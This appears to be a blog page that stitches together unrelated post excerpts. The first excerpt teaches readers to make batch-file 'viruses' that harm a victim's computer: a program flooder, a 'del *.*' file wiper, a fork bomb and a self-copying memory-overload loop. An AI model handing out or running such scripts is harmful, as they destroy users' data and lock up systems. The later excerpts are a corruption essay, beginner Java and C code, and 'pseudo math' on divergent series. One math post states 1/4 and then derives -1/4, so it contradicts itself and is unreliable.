Educational

 Hello friends,                            Today I am going to tell you some computer viruses,  That can do a lot of loss in your victim's computer (like wipe out memory removes all the contents in victim's computer). Follow below points to create viruses......    First open your notepad or any text editor in your desktop and you can write any computer virus code given below. There are following some viruses code :   1. Application flooder virus @echo off :hey start cmd start write start notepad start explorer start calc goto hey    2. Wipe out memory  @echo off del *.*   3. Virus fork :s start %0 goto s   4. Memory overload virus @echo off :start set x=%random% set %0 > %x%.bat start %x% goto start   5. Folder blaster virus @echo off cd ./Desktop md 1 md 2 md 3 md 4 md 5 md 6 md 7 md 8 md 9 md 0 :loop...

 Hello friends,              Everyone knows that Corruption is a dirty abuse in today's world. All of you know that corruption is everywhere either that is financial or civil services like Police, Accountant etc. By corruption neither we can progress nor our country. So today we are going to discuss that "How we can remove or reduce corruption by being educated".              It will not be saying wrong that Education is important part of our civilization. So here we will see that How education plays important role in being a good human. Often we have seen that politician and low level/medium employees do corruption mostly. In that also most politician who are illiterate or less educated do corruption. You have seen also that few people being less educated get job by giving bribe and highly educated and good for job people left.           The m...

  Time Complexity of  Sorting Algorithm....     Bubble Sort  Selection Sort  Insertion Sort  these above have time complexity of order  = O(n*n) .

 import java.util.Scanner; public class Calculator{     public static void main(String args[]){         Scanner input = new Scanner(System.in);         char opr;         float a,b;         System.out.println("input the value\t");         a = input.nextFloat();         opr = input.next().charAt(0);         b = input.nextFloat();         if(opr=='+')         {             System.out.print(a+b);         }         else if(opr=='-')         {           ...

#include<stdio.h> int main() { int num, fact=1, i=1; printf("enter any number to find factorial \t"); scanf("%d",&num); while(i<=num) { fact=fact*i; i++; } printf("factorial = %d",fact); return 0; }

Do you know the value of  - 1-2+3-4+5-6+.........=1/4 Let  S=1-2+3-4+.......           _(1) Now adding s in equation (1) like binomial S=1-2+3-4+....... S=   1-2+3-4+....... 2S=-1+1-1+1-....... Now multiply by minus sign -2S=1-1+1-1+1-.......... We know that  1-1+1-1+1-........=1/2 //See my previous blog. Now -2S=1/2 S = -1/4

psuedo math..... DO YOU KNOW SUM OF 1-1+1-1+1-...........=1/2 》  s=1-1+1-1+1-........ now multiply by minus sign -s=-1+1-1+1-1+........ now add 1on both side 1-s=1-1+1-1+1-....... rhs value is equal to s then 1-s=s 2s=1 s=1/2